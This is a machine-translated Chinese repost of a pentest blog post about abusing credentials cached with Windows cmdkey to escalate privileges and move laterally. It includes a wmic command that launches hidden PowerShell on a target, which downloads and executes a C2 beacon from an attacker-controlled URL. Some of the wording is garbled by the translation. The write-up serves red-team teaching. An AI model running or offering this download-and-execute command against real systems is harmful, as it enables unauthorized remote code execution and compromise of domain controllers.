Exploring cmdkey: An Edge Case for Privilege Escalation

我最近正在探索在Windows系统上为pentest实验室缓存cleartext证书的方法,当时我遇到了一个有趣的工具cmdkey.exe。Cmdkey是一个内置的Windows工具,可以缓存域用户凭据以供在特定目标机器上使用。您可以在这里查看来自Microsoft的文档:https : //technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx。

虽然cmdkey不太符合pentest实验室的标准,但它有一些特点激起了我的兴趣:

您可以列出并以常规域用户的身份创建凭证(以/ cmdkey)
它通常用于在远程系统上执行管理任务
听起来像一个机会滥用这个特权升级给我!所以,我决定深入一点,并在内部渗透测试中发挥一个可能的场景。

场景:您已经在没有本地管理员的域用户工作站上建立了一个信标,或者在其他系统上有任何提升的权限。但是,用户有一个辅助帐户,他们用于远程管理,他们已经用cmdkey缓存了信誉,使他们的生活更轻松。

具有正常的域用户帐户的初始信标C2并没有明显的权限。

好的...现在我们已经建立了我们的初始信标C2,并且看到我们的用户没有任何有趣的事情,让我们检查任何缓存与cmdkey /列表的信用。

通过“cmdkey / list”检查缓存的凭据后,我们看到了一些有趣的事情...

检出该用户,我们已经中了大奖!管理员用户的凭据缓存在我们的系统上。

现在,大多数情况下,这组缓存的凭据可能用于下拉文件或访问远程系统上的资源。不过,作为一个红人,我想做一些更有用的事情。在pentests期间,我会经常建立新的C2频道,通过WMIC启动一个远程PowerShell程序来下载和执行我的信标灯塔。该命令如下所示:
wmic /node:<TARGET-BOX process call create "cmd /c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://beacon_IP/a'))\""

让我们通过我们的通过cmdkey缓存的目标域用户信标来尝试这一点。

成功!

有用!Windows知道使用WMIC命令的缓存信用,并且我们能够在目标机器(恰好是一个域控制器)上建立一个管理信标。这是非常有用的,因为我们没有要求我们的受到侵害的用户拥有任何形式的提升权限,我们能够在网络上升级我们的访问权限。显然,这种情况不会经常出现。但是很容易检查!快速的“cmdkey / list”会让你知道,在处理有限的立足点时,如果你有特权升级的快速胜利。没有错的边缘案件:)


转载请注明出处:https://www.freearoot.com/index.php/exploring-cmdkey-an-edge-case-for-privilege-escalation.html

转载来源:https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation